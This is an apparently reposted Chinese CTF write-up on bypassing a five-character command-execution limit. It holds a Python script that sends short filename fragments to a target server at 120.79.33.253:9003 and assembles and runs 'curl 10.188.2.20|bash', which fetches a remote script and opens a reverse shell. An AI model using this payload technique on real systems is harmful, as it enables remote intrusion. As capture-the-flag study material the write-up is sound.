当前位置:网站首页>CTF命令执行题目解题思路
CTF命令执行题目解题思路
2022-08-02 22:03:00 【wespten】
CTF存在命令执行漏洞题目,单次输入字符不得大于5。

利用linux下特有的命令来写入shell反弹。
原理就是利用curl ip|bash等很多方式去反弹shell。
import requests
from time import sleep
from urllib.parse import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>sh\ ',
'>ba\\',
'>\|\\',
# '>03\\',
# '>90\\',
'>0\\',
'>20\\',
'>1.\\',
'>12\\' ,
'>7.\\',
'>10\\' ,
'>9.\\',
'>3\\',
'>\ \\',
'>rl\\',
'>cu\\',
#exec
'sh _',
'sh g',
]
r = requests.get('http://120.79.33.253:9003/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://120.79.33.253:9003/?cmd=' + quote(i) )
print (i)
sleep(0.2)在自己服务器中放入bash一句话,利用curl ip|bash反弹shell。
开启监听,执行后可反弹shell。

利用linux文件写入技巧:

ls -t >g是倒序输出文件名字,然后sh _执行此文件,写入到g中

可以看到该文件有curl xx.x.x.x|bash字符,在linux下输入任意一个字符后加\是不会中断当前操作,可以继续输入内容。而后面没有\则会中断,而sh可以在报错的情况下依然会执行可以执行的命令,因此不会影响curl的执行。
边栏推荐
猜你喜欢
随机推荐
辅助脚本开发之旅
浅读一下dotenv的主干逻辑的源码
圆锥折射作为偏振计量工具的模拟
Ansible installation and configuration
GameStop NFT 市场分析
最近公共祖先(LCA)学习笔记 | P3379 【模板】最近公共祖先(LCA)题解
Jmeter二次开发实现rsa加密
一群搞社区的人
如何通过开源数据库管理工具 DBeaver 连接 TDengine
Tanabata is here - the romance of programmers
[TypeScript] Deep Learning of TypeScript Classes (Part 1)
resubmit 渐进式防重复提交框架简介
Flink优化的方方面面
任务四 机器学习库Scikit-learn
网络运维系列:健康检查的方式
Matplotlib drawing core principles explain (more detailed)
雷克萨斯lm的安全性如何?
The only way to go from a monthly salary of 10k to 30k: automated testing
测试ESP32-Zigbee转发命令 : 滑轨、继电器控制
JS 包装类 Math对象 round max() min() random









